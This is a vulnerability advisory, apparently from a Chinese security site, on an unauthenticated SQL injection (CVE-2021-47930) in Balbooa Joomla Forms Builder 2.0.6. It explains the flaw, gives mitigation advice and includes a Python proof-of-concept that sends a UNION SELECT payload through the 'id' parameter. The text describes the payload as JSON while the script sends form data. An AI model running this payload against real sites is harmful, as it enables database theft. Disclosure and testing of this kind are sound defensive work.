IPBUF安全漏洞报告
English
CVE-2021-47930 CVSS 8.2 高危

CVE-2021-47930: Balbooa组件SQL注入漏洞

披露日期: 2026-05-10

漏洞信息

漏洞编号
CVE-2021-47930
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Balbooa Joomla Forms Builder

相关标签

SQL注入JoomlaBalbooa高危漏洞无需认证

漏洞概述

Balbooa Joomla Forms Builder 2.0.6版本存在严重的未经身份验证SQL注入漏洞。漏洞位于表单提交处理程序中,因未正确过滤用户输入,允许远程攻击者通过发送特制POST请求执行任意SQL查询。由于无需用户交互或认证,攻击者可轻易提取数据库敏感信息,造成严重数据泄露风险。

技术细节

该漏洞的核心成因是Balbooa Joomla Forms Builder在处理表单提交数据时,对`com_baforms`组件中的`id`参数缺乏有效的安全校验。应用程序直接将用户通过POST请求提交的JSON格式数据拼接到后端SQL查询语句中,导致了经典的SQL注入漏洞。攻击者无需经过任何身份验证即可访问该接口。利用过程中,攻击者构造特制的HTTP POST请求,在JSON数据的`id`字段中嵌入恶意的SQL语句(如UNION SELECT查询)。当服务器端解析并执行该请求时,恶意SQL代码会被数据库引擎执行,从而允许攻击者读取、修改或删除数据库中的敏感信息,甚至可能获取服务器控制权。

攻击链分析

STEP 1
侦察
攻击者识别目标网站使用Joomla CMS并安装了Balbooa Forms Builder组件。
STEP 2
漏洞利用
攻击者向`com_baforms`组件的表单提交接口发送特制的POST请求,在`id`参数的JSON字段中注入SQL语句。
STEP 3
数据窃取
服务器执行恶意SQL查询,将数据库敏感信息(如用户凭证、配置数据)返回给攻击者。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json target_url = "http://target-site/index.php?option=com_baforms&view=form&task=form.submit" headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } # Malicious JSON payload in the 'id' parameter to trigger SQL Injection # Example payload attempting to extract database version payload = { "id": "1 UNION SELECT 1,2,3,4,version(),6-- -", "form_id": "1" } try: # Sending the POST request response = requests.post(target_url, data=payload, headers=headers) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Response:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Balbooa Joomla Forms Builder 2.0.6

防御指南

临时缓解措施
如果无法立即升级,建议在Web服务器层(如使用ModSecurity)部署规则以拦截包含SQL注入特征的恶意请求,或者暂时禁用Balbooa Forms Builder组件直至修复完成。

参考链接